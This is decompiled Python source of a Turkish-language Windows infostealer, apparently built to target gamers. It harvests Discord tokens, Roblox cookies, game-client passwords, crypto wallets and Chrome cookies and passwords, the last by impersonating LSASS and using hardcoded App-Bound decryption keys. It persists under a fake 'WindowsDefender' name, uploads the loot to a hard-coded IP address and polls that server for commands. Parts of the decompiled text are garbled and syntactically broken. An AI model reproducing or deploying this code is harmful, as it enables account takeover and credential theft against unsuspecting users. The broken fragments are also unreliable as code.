files['craftrise'].append(craftrise_path)
except Exception:
pass
zip_path = create_zip(files['minecraft'], files['growtopia'], files['sonoyuncu'], files['craftrise'], files['wallets'], error_log=wallet_error_log, roblox_data=roblox_data)
game_status = {k: ' Kurulu' if v else ' Yok' for k, v in games.items()}
wallet_status = {k: ' Var' for k, v in wallets.items() if v}
steam_info = games.get('Steam', {})
epic_info = games.get('Epic Games', {})
browsers_str = ', '.join(system.get('Browsers', []))
uac_status_msg = '• UAC Bypass: Başarısız'
if uac_bypass:
status = uac_bypass.result.get('status', 'unknown')
if status == 'success':
uac_status_msg = '• UAC Bypass: Başarılı'
if uac_bypass.result.get('method'):
uac_status_msg += f" - {uac_bypass.result['method']}"
else:
if is_admin():
uac_status_msg = '• UAC Bypass: Başarılı (Admin)'
else:
if is_admin():
uac_status_msg = '• UAC Bypass: Başarılı (Admin)'
wallet_section = ''
if wallet_status:
wallet_section = '
Cüzdanlar\n' + '\n'.join([f'• {wallet}: {status}' for wallet, status in wallet_status.items()]) + '\n\n'
sonoyuncu_formatted = (sonoyuncu_info or '').strip()
craftrise_formatted = ''
if isinstance(craftrise_data, list):
craftrise_formatted += ' CraftRise\n'
for acc in craftrise_data:
craftrise_formatted += f" Nick: {acc.get('Kullanıcı', 'Bilinmiyor')}\n Şifre: {acc.get('Şifre', 'Bilinmiyor')}\n"
else:
if craftrise_data:
craftrise_formatted = str(craftrise_data).strip()
discord_formatted = ''
if not all_tokens:
discord_formatted = ' Bulunamadı'
else:
for i, token_data in enumerate(all_tokens, 1):
t = token_data['token']
is_canary = token_data['source'] == 'canary'
u = TokenCollector().get_user_info(t)
if u:
badges = TokenCollector().decode_badges(u['public_flags'])
badge_str = ', '.join(badges) if badges and badges!= ['Yok'] else 'Yok'
discord_formatted += f" **Kullanıcı:** `{u['username']}` ({u['id']})\n **E-Posta:** {u['email']}\n
**Telefon:** {(u['phone'] if u['phone'] else 'Yok')}\n **Nitro:** {(' Var' if TokenCollector().has_nitro(u) else ' Yok')}\n **Kayıt Tarihi:** {TokenCollector().calc_creation_date(u['id'])}\n **Rozetler:** {badge_str}\n **Token:** `{t}`\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n"
else:
discord_formatted += f' **Bilinmeyen Kullanıcı**\n **Token:** `{t}`\n▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬\n'
games_list = []
for g_name, g_val in games.items():
if g_val:
games_list.append(g_name)
if isinstance(steam_info, dict) and steam_info.get('installed'):
games_list.append('Steam')
if isinstance(epic_info, dict) and epic_info.get('installed'):
games_list.append('Epic Games')
if isinstance(minecraft_info, dict) and minecraft_info.get('installed'):
games_list.append('Minecraft')
games_str = '\n'.join([f'• {g}' for g in set(games_list)]) if games_list else 'Bulunamadı'
**IP:** ` = {'title': '
NEW LOG HIT! ', 'description': f"
**PC:** `{system.get('PC', 'Bilinmiyor')}`\n **Kullanıcı:** `{system.get('User', 'Bilinmiyor')}`", 'color': [{'name': 7506394, 'value': f"
Sistem Bilgileri{' **IP:** `': f"{system.get('PublicIP', 'Bilinmiyor')}`\n
**OS:** {system.get('OS', 'Bilinmiyor')}\n
**CPU:** {system.get('CPU', 'Bilinmiyor')}\n
**GPU:** {craftrise_formatted or ' Bulunamadı'} adet`", 'inline': True}, {'name': '
Yüklü Oyunlar & Uygulamalar', 'value': f'```\n{games_str}\n```', 'inline': False}, {'name': '
Discord Hesapları', 'value': discord_formatted[:1024], 'inline': False}], 'footer': {'text': f"Build: Yazılım Peşinde Merak Edilen O Kurulum Geldi.exe | {datetime.now().strftime('%Y-%m-%d %H:%M')}"}
if snapshot and os.path.exists(snapshot):
embed['image'] = {'url': f'attachment://{os.path.basename(snapshot)}'}
payloadJSON = {'content': '@everyone', 'embeds': [embed]}
files_to_send = {}
if zip_path and os.path.exists(zip_path):
files_to_send['file'] = (os.path.basename(zip_path), open(zip_path, 'rb'), 'application/zip')
if cookie_zip_path and os.path.exists(cookie_zip_path):
files_to_send[f'file{len(files_to_send)}'] = (os.path.basename(cookie_zip_path), open(cookie_zip_path, 'rb'), 'application/zip')
if snapshot and os.path.exists(snapshot):
files_to_send[f'file{len(files_to_send)}'] = (os.path.basename(snapshot), open(snapshot, 'rb'), 'image/png')
log_message('Sending final report...')
if files_to_send:
import json
result_post = requests.post(url, data={'payload_json': json.dumps(payloadJSON)}, files=files_to_send, verify=False, timeout=60)
log_message(f'Multipart response body: {result_post.text}')
result = result_post.status_code in (200, 204)
else:
result = send_report(payload=payloadJSON, url=url)
log_message(f'Detailed Report sent result: {result}')
if not result:
alt_url = SEND_URL_1 if url == SEND_URL_2 else SEND_URL_2
log_message(f'Retrying with alt URL: {alt_url}')
if files_to_send:
for f in files_to_send.values():
f[1].seek(0)
res_alt_post = requests.post(alt_url, data={'payload_json': json.dumps(payloadJSON)}, files=files_to_send, verify=False, timeout=60)
log_message(f'Alt URL multipart response body: {res_alt_post.text}')
res_alt = res_alt_post.status_code in (200, 204)
else:
res_alt = send_report(payload=payloadJSON, url=alt_url)
log_message(f'Alt URL result: {res_alt}')
if files_to_send:
for f in files_to_send.values():
f[1].close()
if zip_path:
if os.path.exists(zip_path):
os.remove(zip_path)
if snapshot and os.path.exists(snapshot):
os.remove(snapshot)
log_message('Initial run complete. Entering C2 polling loop...')
pc_name = system.get('PC', 'UnknownPC')
COMMAND_URL = f'http://141.11.109.213/command.php?user={pc_name}'
while True:
try:
r = requests.get(COMMAND_URL, timeout=10)
command = r.text.strip()
if command == 'EXTRACT_COOKIES':
log_message('Received command: EXTRACT_COOKIES')
c_count, p_count = (0, 0)
c_zip = None
try:
res = run_cookie_extraction()
if len(res) == 3:
c_count, p_count, c_zip = res
except Exception as e:
log_message(f'Cookie extraction failed: {e}')
if c_zip and os.path.exists(c_zip):
files_to_send_c2 = {'file': (os.path.basename(c_zip), open(c_zip, 'rb'), 'application/zip')}
embed_c2 = {'title': '
COMMAND SUCCESS: COOKIES EXTRACTED! ', 'description': f' **PC:** `{pc_name}`', 'color': 3092790, 'fields': [{'name': '
Toplanan Veriler', 'value': f' **Cookies:** `{c_count} adet`\n **Passwords:** `{p_count} adet`', 'inline': False}]}
payloadJSON_c2 = {'content': '@everyone', 'embeds': [embed_c2]}
import json
requests.post(SEND_URL_1, data={'payload_json': json.dumps(payloadJSON_c2)}, files=files_to_send_c2, verify=False, timeout=60)
for f in files_to_send_c2.values():
f[1].close()
os.remove(c_zip)
except Exception as e:
log_message(f'C2 Loop Error: {e}')
time.sleep(20)
except Exception as e:
log_message(f'CRITICAL ERROR: {str(e)}\n{traceback.format_exc()}')
Yapay zeka emojili masterlara selam olsun[/embed]
# Internal filename: 'sa.py'
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
# ***<module>: Failure: Compilation Error
import os
import json
import re
import base64
import tempfile
import requests
import time
import random
import string
import socket
import platform
from Cryptodome.Cipher import AES, ChaCha20_Poly1305
import ctypes
import psutil
import pymem
import win32crypt
from datetime import datetime, timezone
import mss
import threading
import winreg
import subprocess
import zipfile
import sys
import shutil
import urllib3
from concurrent.futures import ThreadPoolExecutor, as_completed
from ctypes import wintypes
import sqlite3
import pathlib
import binascii
import io
import struct
from contextlib import contextmanager
import traceback
try:
import websocket
except ImportError:
websocket = None
try:
import windows
import windows.crypto
import windows.generated_def as gdef
except ImportError:
windows = None
gdef = None
try:
from shadowcopy import shadow_copy
except ImportError:
shadow_copy = None
try:
import browser_cookie3
except ImportError:
browser_cookie3 = None
SEND_URL_1 = 'http://141.11.109.213/upload.php'
SEND_URL_2 = 'http://141.11.109.213/upload.php'
def get_send_url(games=None):
if games is None:
try:
games = scan_games()
except:
games = {}
if games.get('Valorant', False):
return SEND_URL_2
else:
return SEND_URL_1
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
SE_PRIVILEGE_ENABLED = 2
TOKEN_QUERY = 8
TOKEN_ADJUST_PRIVILEGES = 32
TOKEN_DUPLICATE = 2
TOKEN_IMPERSONATE = 4
SecurityImpersonation = 2
TokenImpersonation = 2
class LUID(ctypes.Structure):
_fields_ = [('LowPart', wintypes.DWORD), ('HighPart', wintypes.LONG)]
class LUID_AND_ATTRIBUTES(ctypes.Structure):
_fields_ = [('Luid', LUID), ('Attributes', wintypes.DWORD)]
class TOKEN_PRIVILEGES(ctypes.Structure):
_fields_ = [('PrivilegeCount', wintypes.DWORD), ('Privileges', LUID_AND_ATTRIBUTES * 1)]
def log_message(msg):
try:
print(f'[*] {msg}')
except:
return None
def add_to_startup():
# ***<module>.add_to_startup: Failure: Different bytecode
try:
current_file = os.path.abspath(sys.executable)
key = winreg.HKEY_CURRENT_USER
registry_path = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
with winreg.OpenKey(key, registry_path, 0, winreg.KEY_SET_VALUE) as reg_key:
winreg.SetValueEx(reg_key, 'WindowsDefender', 0, winreg.REG_SZ, f'\"{current_file}\"')
startup_folder = os.path.join(os.getenv('APPDATA'), 'Microsoft\\Windows\\Start Menu\\Programs\\Startup')
if os.path.exists(startup_folder):
target_copy = os.path.join(startup_folder, 'WindowsDefender.exe')
if not os.path.exists(target_copy) and current_file.lower()!= target_copy.lower():
import shutil
shutil.copy2(current_file, target_copy)
ctypes.windll.kernel32.SetFileAttributesW(target_copy, 6)
except Exception as e:
return False
else:
return True
def get_roblox_data():
# irreducible cflow, using cdg fallback
# ***<module>.get_roblox_data: Failure: Compilation Error
user_profile = os.getenv('USERPROFILE', '')
path = os.path.join(user_profile, 'AppData', 'Local', 'Roblox', 'LocalStorage', 'robloxcookies.dat')
if not os.path.exists(path):
return None
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
encoded = data.get('CookiesData', '')
if not encoded:
return
decrypted_bytes = win32crypt.CryptUnprotectData(base64.b64decode(encoded), None, None, None, 0)[1]
decrypted = decrypted_bytes.decode('utf-8', errors='ignore')
lines = []
for cookie in decrypted.replace('\n', '').split(';'):
cookie = cookie.strip()
@cookie.startswith('#HttpOnly_')
if False:
cookie = cookie[len('#HttpOnly_'):]
if cookie:
lines.append(cookie)
return '\n'.join(lines)
except Exception:
return None
class EnvironmentCheck:
def __init__(self):
self.target_paths = [os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.craftrise'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.minecraft'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'discord'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', '.sonoyuncu'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Roaming', 'Opera Software', 'Opera GX Stable'), os.path.join(os.environ['USERPROFILE'], 'AppData', 'Local', 'Telegram Desktop')]
def check_environment(self):
# irreducible cflow, using cdg fallback
# ***<module>.EnvironmentCheck.check_environment: Failure: Compilation Error
test_file = os.path.join(os.environ.get('USERPROFILE', ''), 'Desktop', 'test_modu.txt')
if os.path.exists(test_file):
return True
for path in self.target_paths:
if os.path.exists(path):
return True
return False
except Exception:
return True
class SonoyuncuStealer:
def __init__(self):
# ***<module>.SonoyuncuStealer.__init__: Failure detected at line number 54 and instruction offset 2: Different bytecode
self.kernel32, self.user32 = (ctypes.WinDLL('kernel32'), ctypes.WinDLL('user32'))
self.desktop_name, self.hidden_desktop, self.process_info = ('HiddenDesktop', None, None)
self.sonoyuncu_app_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/sonoyuncuclient.exe'
self.sonoyuncu_config_path = os.path.expandvars('%APPDATA%') + '/.sonoyuncu/config.json'
def launch_application_hidden(self):
# ***<module>.SonoyuncuStealer.launch_application_hidden: Failure detected at line number 65 and instruction offset 46: Different bytecode
try:
class STARTUPINFO(ctypes.Structure):
# ***<module>.SonoyuncuStealer.launch_application_hidden.STARTUPINFO: Failure: Different bytecode
_fields_ = [('cb', wintypes.DWORD), ('lpReserved', wintypes.LPWSTR), ('lpDesktop', wintypes.LPWSTR), ('lpTitle', wintypes.LPWSTR), ('dwX', wintypes.DWORD), ('dwY', wintypes.DWORD), ('dwXSize', wintypes.DWORD), ('dwYSize', wintypes.DWORD), ('dwXCountChars', wintypes.DWORD), ('dwYCountChars', wintypes.DWORD), ('dwFillAttribute', wintypes.WORD), ('dwFlags', wintypes.WORD), ('wShowWindow', ctypes.POINTER(wintypes.BYTE)), ('hStdInput', wintypes.HANDLE), ('hStdOutput', wintypes.HANDLE), ('hStdError', wintypes.HANDLE)]
class PROCESS_INFORMATION(ctypes.Structure):
_fields_ = [('hProcess', wintypes.HANDLE), ('hThread', wintypes.HANDLE), ('dwProcessId', wintypes.DWORD), ('dwThreadId', wintypes.DWORD)]
startup_info = STARTUPINFO()
startup_info.cb, startup_info.lpDesktop, startup_info.dwFlags, startup_info.wShowWindow = (ctypes.sizeof(STARTUPINFO), self.desktop_name, 1, 0)
process_info = PROCESS_INFORMATION()
if not self.kernel32.CreateProcessW(None, self.sonoyuncu_app_path, None, None, False, 134217728, None, None, ctypes.byref(startup_info), ctypes.byref(process_info)):
if self.hidden_desktop:
self.user32.CloseDesktop(self.hidden_desktop)
return None
else:
return process_info
except Exception as e:
return None
def create_hidden_desktop(self):
try:
return self.user32.CreateDesktopW(self.desktop_name, None, None, 0, 268435808, None)
except Exception as e:
return None
def get_user_data(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_user_data: Failure: Compilation Error
username = self.get_username()
if not username:
return
self.hidden_desktop = self.create_hidden_desktop()
if self.hidden_desktop:
self.process_info = self.launch_application_hidden()
if self.process_info:
password = self.extract_memory_credentials(self.process_info.dwProcessId)
if password:
return (username, password)
self.cleanup(self.process_info.dwProcessId)
return None
except Exception:
return None
def extract_memory_credentials(self, process_id):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.extract_memory_credentials: Failure: Compilation Error
start_time = time.time()
if time.time() - start_time < 10:
pass
else:
return ''
process_memory = pymem.Pymem(process_id)
base_address = pymem.process.module_from_name(process_memory.process_handle, 'sonoyuncuclient.exe').lpBaseOfDll
password = self.try_multiple_offsets(process_memory, base_address)
if password:
return password
except Exception as e:
time.sleep(0.1)
def get_username(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_username: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
return json.load(f).get('userName', '')
return ''
except Exception as e:
return ''
def try_multiple_offsets(self, pm, base_address):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.try_multiple_offsets: Failure: Compilation Error
for offset in [1878448]:
pass
decoded_data = pm.read_bytes(base_address + offset, 256).decode('utf-8', 'ignore')
password = self.extract_password_from_data(decoded_data)
if password:
return password
except Exception as e:
pass
pass
return ''
def extract_password_from_data(self, data):
# ***<module>.SonoyuncuStealer.extract_password_from_data: Failure detected at line number 90 and instruction offset 10: Different bytecode
for pattern in ['[A-Za-z0-9._\\-@+#$%^&*=!?~\\\'\\\",\\\\|/:<>[\\]{}()]{4,50}', '[A-Za-z0-9!@#$%^&*()_+\\-=\\[\\]{};\\\':\"\\\\|,.<>/?]{4,30}']:
for match in re.findall(pattern, data):
if len(match) >= 4 and (not any((c.isalpha() for c in match))) and any((c.isalnum() for c in match)):
return match
return ''
def cleanup(self, process_id):
# ***<module>.SonoyuncuStealer.cleanup: Failure detected at line number 96 and instruction offset 2: Different bytecode
try:
psutil.Process(process_id).terminate()
except Exception as e:
pass
if self.process_info:
try:
self.kernel32.CloseHandle(self.process_info.hProcess)
self.kernel32.CloseHandle(self.process_info.hThread)
except Exception as e:
pass
if self.hidden_desktop:
try:
self.user32.CloseDesktop(self.hidden_desktop)
except Exception as e:
return None
def get_sonoyuncu_credentials(self):
if not os.path.exists(self.sonoyuncu_app_path):
return '
Yok'else:
credentials = self.get_user_data()
if credentials:
username, password = credentials
return f'
Sonoyuncu\n Nick: {username}\n Şifre: {password}'else:
return self.get_sonoyuncu_username_only()
def get_sonoyuncu_username_only(self):
# irreducible cflow, using cdg fallback
# ***<module>.SonoyuncuStealer.get_sonoyuncu_username_only: Failure: Compilation Error
if os.path.exists(self.sonoyuncu_config_path):
with open(self.sonoyuncu_config_path, 'r', encoding='utf-8') as f:
config_data = json.load(f)
username = config_data.get('userName', '').strip()
if username:
return f'
Sonoyuncu\n Nick: {username}\n Şifre: Alınamadı'return '
Yok'except Exception:
return '
Yok'class UACBypass:
def __init__(self):
self.result = {'status': 'unknown', 'method': '', 'error': ''}
def initialize(self):
# ***<module>.UACBypass.initialize: Failure detected at line number 137 and instruction offset 110: Different bytecode
if is_admin():
self.result['status'] = 'success'
self.result['method'] = 'Admin yetkisi mevcut'
run_cookie_extraction()
return True
else:
script_path = os.path.abspath(sys.argv[0])
try:
import ctypes
params = ' '.join([f'\"{arg}\"' for arg in sys.argv])
ctypes.windll.shell32.ShellExecuteW(None, 'runas', sys.executable, params, None, 1)
sys.exit(0)
except Exception as e:
self.result['status'] = 'failed'
self.result['error'] = f'Execution error: {str(e)}'
return False
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()!= 0
except Exception:
return False
def create_zip_with_outputs(output_folder, zip_path):
# irreducible cflow, using cdg fallback
# ***<module>.create_zip_with_outputs: Failure: Compilation Error
os.makedirs(os.path.dirname(zip_path), exist_ok=True)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
for root, dirs, files in os.walk(output_folder):
for file in files:
try:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, output_folder)
zipf.write(file_path, arcname)
except Exception:
pass
except Exception as e:
log_message(f'create_zip_with_outputs failed: {e}')
@contextmanager
def impersonate_lsass():
# ***<module>.impersonate_lsass: Failure detected at line number 152 and instruction offset 22: Different bytecode
advapi32 = ctypes.windll.advapi32
kernel32 = ctypes.windll.kernel32
token = wintypes.HANDLE()
impersonation_token = wintypes.HANDLE()
h_process = None
original_thread_token = wintypes.HANDLE()
success = False
try:
h_current_token = wintypes.HANDLE()
if advapi32.OpenProcessToken(kernel32.GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ctypes.byref(h_current_token)):
luid = LUID()
if advapi32.LookupPrivilegeValueW(None, 'SeDebugPrivilege', ctypes.byref(luid)):
tp = TOKEN_PRIVILEGES()
tp.PrivilegeCount = 1
tp.Privileges[0].Luid = luid
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
advapi32.AdjustTokenPrivileges(h_current_token, False, ctypes.byref(tp), 0, None, None)
kernel32.CloseHandle(h_current_token)
lsass_pid = (-1)
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower() == 'lsass.exe':
lsass_pid = proc.pid
break
if lsass_pid!= (-1):
h_process = kernel32.OpenProcess(4096, False, lsass_pid)
if h_process and advapi32.OpenProcessToken(h_process, TOKEN_QUERY | TOKEN_DUPLICATE, ctypes.byref(token)) and advapi32.DuplicateTokenEx(token, TOKEN_QUERY | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, None, SecurityImpersonation, TokenImpersonation, ctypes.byref(impersonation_token)) and advapi32.SetThreadToken(None, impersonation_token):
log_message('LSASS Impersonation SUCCESS')
success = True
yield success
except Exception as e:
log_message(f'impersonate_lsass error: {e}')
yield False
finally:
if success:
advapi32.SetThreadToken(None, None)
if impersonation_token:
kernel32.CloseHandle(impersonation_token)
if token:
kernel32.CloseHandle(token)
if h_process:
kernel32.CloseHandle(h_process)
def parse_key_blob(blob_data: bytes) -> dict:
# ***<module>.parse_key_blob: Failure detected at line number 193 and instruction offset 2: Different bytecode
try:
buffer = io.BytesIO(blob_data)
parsed_data = {}
header_len = struct.unpack('<I', buffer.read(4))[0]
buffer.read(header_len)
content_len = struct.unpack('<I', buffer.read(4))[0]
parsed_data['flag'] = buffer.read(1)[0]
if parsed_data['flag'] in [1, 2]:
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
if parsed_data['flag'] == 3:
parsed_data['encrypted_aes_key'] = buffer.read(32)
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
return parsed_data
else:
raise ValueError(f"Unsupported flag: {parsed_data['flag']}")
except Exception:
return {}
def byte_xor(ba1, ba2):
try:
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
except Exception:
return b''
def decrypt_with_cng(input_data):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_with_cng: Failure: Compilation Error
ncrypt = ctypes.windll.ncrypt
ncrypt.NCryptOpenStorageProvider.restype = wintypes.DWORD
ncrypt.NCryptOpenStorageProvider.argtypes = [ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD]
ncrypt.NCryptOpenKey.restype = wintypes.DWORD
ncrypt.NCryptOpenKey.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.HANDLE), wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD]
ncrypt.NCryptDecrypt.restype = wintypes.DWORD
ncrypt.NCryptDecrypt.argtypes = [wintypes.HANDLE, ctypes.c_void_p, wintypes.DWORD, ctypes.c_void_p, ctypes.c_void_p, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.DWORD]
ncrypt.NCryptFreeObject.restype = wintypes.DWORD
ncrypt.NCryptFreeObject.argtypes = [wintypes.HANDLE]
hProvider = wintypes.HANDLE()
provider_name = 'Microsoft Software Key Storage Provider'
status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name, 0)
if status!= 0:
log_message(f'NCryptOpenStorageProvider failed: {hex(status & 4294967295)}')
return b''
else:
hKey = wintypes.HANDLE()
key_name = 'Google Chromekey1'
status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name, 0, 0)
if status!= 0:
log_message(f'NCryptOpenKey failed: {hex(status & 4294967295)}')
ncrypt.NCryptFreeObject(hProvider)
return b''
pcbResult = wintypes.DWORD(0)
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, None, 0, ctypes.byref(pcbResult), 64)
if status!= 0:
log_message(f'NCryptDecrypt (size check) failed: {hex(status & 4294967295)}')
return None
ncrypt.NCryptFreeObject(hProvider) if hProvider else b''
buffer_size = pcbResult.value
output_buffer = (ctypes.c_ubyte * buffer_size)()
status = ncrypt.NCryptDecrypt(hKey, input_data, len(input_data), None, output_buffer, buffer_size, ctypes.byref(pcbResult), 64)
if status!= 0:
log_message(f'NCryptDecrypt (actual) failed: {hex(status & 4294967295)}')
else:
return bytes(output_buffer[
cbResult.value])return None
ncrypt.NCryptFreeObject(hProvider) if hProvider else b''
except Exception as e:
log_message(f'decrypt_with_cng exception: {e}')
return b''
def derive_v20_master_key(parsed_data: dict) -> bytes:
# ***<module>.derive_v20_master_key: Failure detected at line number 225 and instruction offset 24: Different bytecode
if parsed_data['flag'] == 1:
aes_key = bytes.fromhex('B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787')
cipher = AES.new(aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 2:
chacha20_key = bytes.fromhex('E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660')
cipher = ChaCha20_Poly1305.new(key=chacha20_key, nonce=parsed_data['iv'])
else:
if parsed_data['flag'] == 3:
xor_key = bytes.fromhex('CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390')
with impersonate_lsass():
decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key'])
if not decrypted_aes_key:
raise ValueError('decrypt_with_cng returned empty key')
else:
xored_aes_key = byte_xor(decrypted_aes_key, xor_key)
cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
else:
raise ValueError('Unsupported flag in derive_v20_master_key')
return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])
def get_master_key(path):
# ***<module>.get_master_key: Failure detected at line number 258 and instruction offset 134: Different bytecode
is_admin = False
try:
is_admin = ctypes.windll.shell32.IsUserAnAdmin()!= 0
except:
pass
log_message(f'--- get_master_key START: {path} ---')
log_message(f"Current Identity: {('Administrator' if is_admin else 'Standard User')}")
log_message(f'Windows module available: {windows is not None}')
if not os.path.exists(path):
log_message('Local State path does not exist.')
return None
else:
try:
with open(path, 'r', encoding='utf-8') as f:
local_state = json.load(f)
except Exception as e:
log_message(f'Local State JSON load FAILED: {e}')
return None
if 'os_crypt' not in local_state:
log_message('\'os_crypt\' key missing in Local State.')
return None
else:
os_crypt = local_state['os_crypt']
keys = {}
if 'app_bound_encrypted_key' in os_crypt:
try:
raw_b64 = os_crypt['app_bound_encrypted_key']
key_blob_encrypted = base64.b64decode(raw_b64)
log_message(f'App-Bound key found. B64 Decoded len: {len(key_blob_encrypted)}. Header: {key_blob_encrypted[:4].hex()}')
if key_blob_encrypted.startswith(b'APPB'):
key_blob_encrypted = key_blob_encrypted[4:]
key_blob_user_decrypted = None
log_message('Attempting two-stage extraction (SYSTEM -> USER)')
with impersonate_lsass() as imp_success:
if imp_success:
try:
res = win32crypt.CryptUnprotectData(key_blob_encrypted, None, None, None, 0)
if res and len(res) >= 2:
key_blob_system_decrypted = res[1]
log_message('Stage 1 (SYSTEM) DPAPI: SUCCESS')
try:
res2 = win32crypt.CryptUnprotectData(key_blob_system_decrypted, None, None, None, 0)
if res2 and len(res2) >= 2:
key_blob_user_decrypted = res2[1]
log_message('Stage 2 (USER) DPAPI: SUCCESS')
except Exception as e:
log_message(f'Stage 2 (USER) inside LSASS FAILED: {e}')
except Exception as e:
log_message(f'Stage 1 (SYSTEM) DPAPI FAILED: {e}')
if not key_blob_user_decrypted:
log_message('Trying user-only or deferred Stage 2 decryption...')
try:
target = key_blob_system_decrypted if 'key_blob_system_decrypted' in locals() else key_blob_encrypted
res3 = win32crypt.CryptUnprotectData(target, None, None, None, 0)
if res3 and len(res3) >= 2:
key_blob_user_decrypted = res3[1]
log_message('USER-only/Stage 2 outside: SUCCESS')
except Exception as e:
log_message(f'USER-only/Stage 2 outside FAILED: {e}')
if key_blob_user_decrypted:
parsed = parse_key_blob(key_blob_user_decrypted)
if parsed:
log_message(f"v20 Key Blob Parsed. Flag: {parsed.get('flag')}. deriving...")
m_key = derive_v20_master_key(parsed)
if m_key:
log_message('v20 Master Key derived: SUCCESS')
keys['v20'] = m_key
else:
log_message('parse_key_blob returned NULL data.')
except Exception as e:
log_message(f'Critical error in App-Bound block: {e}')
v10_enc_key = os_crypt.get('encrypted_key') or os_crypt.get('encrypted_key_v10')
if v10_enc_key:
try:
m_key_enc = base64.b64decode(v10_enc_key)
log_message(f'Standard key found. Header: {m_key_enc[:5].hex()}')
if m_key_enc.startswith(b'DPAPI'):
m_key_enc = m_key_enc[5:]
decrypted = win32crypt.CryptUnprotectData(m_key_enc, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
log_message('v10 Master Key extracted: SUCCESS')
keys['v10'] = decrypted[1]
except Exception as e:
log_message(f'v10 extraction FAILED: {e}')
log_message(f'get_master_key FINISHED. Keys found: {list(keys.keys())}')
return keys if keys else None
def decrypt_password(buff, key=None):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_password: Failure: Compilation Error
if not buff:
return ''
if not key:
if windows:
try:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
except:
pass
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
pass
return '[Çözülemedi]'
m_key = None
if isinstance(key, dict):
if buff.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if buff.startswith(b'v20'):
return ''
else:
return ''
if buff.startswith(b'v10') or buff.startswith(b'v11') or buff.startswith(b'v20'):
if len(buff) < 15:
return '[Veri Çok Kısa]'
iv = buff[3:15]
payload = buff[15:]
ciphertext = payload[
-16)]tag = payload[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if len(decrypted) > 32 and buff.startswith(b'v20'):
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f'[AES Error] {str(e)}'
if windows:
return windows.crypto.dpapi.unprotect(buff).decode('utf-8', errors='ignore')
decrypted = win32crypt.CryptUnprotectData(buff, None, None, None, 0)
if decrypted and len(decrypted) >= 2:
return decrypted[1].decode('utf-8', errors='ignore')
except Exception:
pass
return '[Çözülemedi]'
except Exception:
return '[Çözülemedi]'
def decrypt_cookie_v20(encrypted_value, key):
# irreducible cflow, using cdg fallback
# ***<module>.decrypt_cookie_v20: Failure: Compilation Error
if not encrypted_value:
return ''
else:
m_key = None
if isinstance(key, dict):
if encrypted_value.startswith(b'v20'):
m_key = key.get('v20')
else:
m_key = key.get('v10')
else:
m_key = key
if not m_key:
if encrypted_value.startswith(b'v20'):
return ''
else:
return decrypt_password(encrypted_value, None)
else:
if encrypted_value.startswith(b'v10') or encrypted_value.startswith(b'v11'):
return decrypt_password(encrypted_value, m_key)
if len(encrypted_value) < 15:
return '[Veri Çok Kısa]'
iv = encrypted_value[3:15]
ciphertext = encrypted_value[15
-16)]tag = encrypted_value[(-16):]
cipher = AES.new(m_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if encrypted_value.startswith(b'v20') and len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
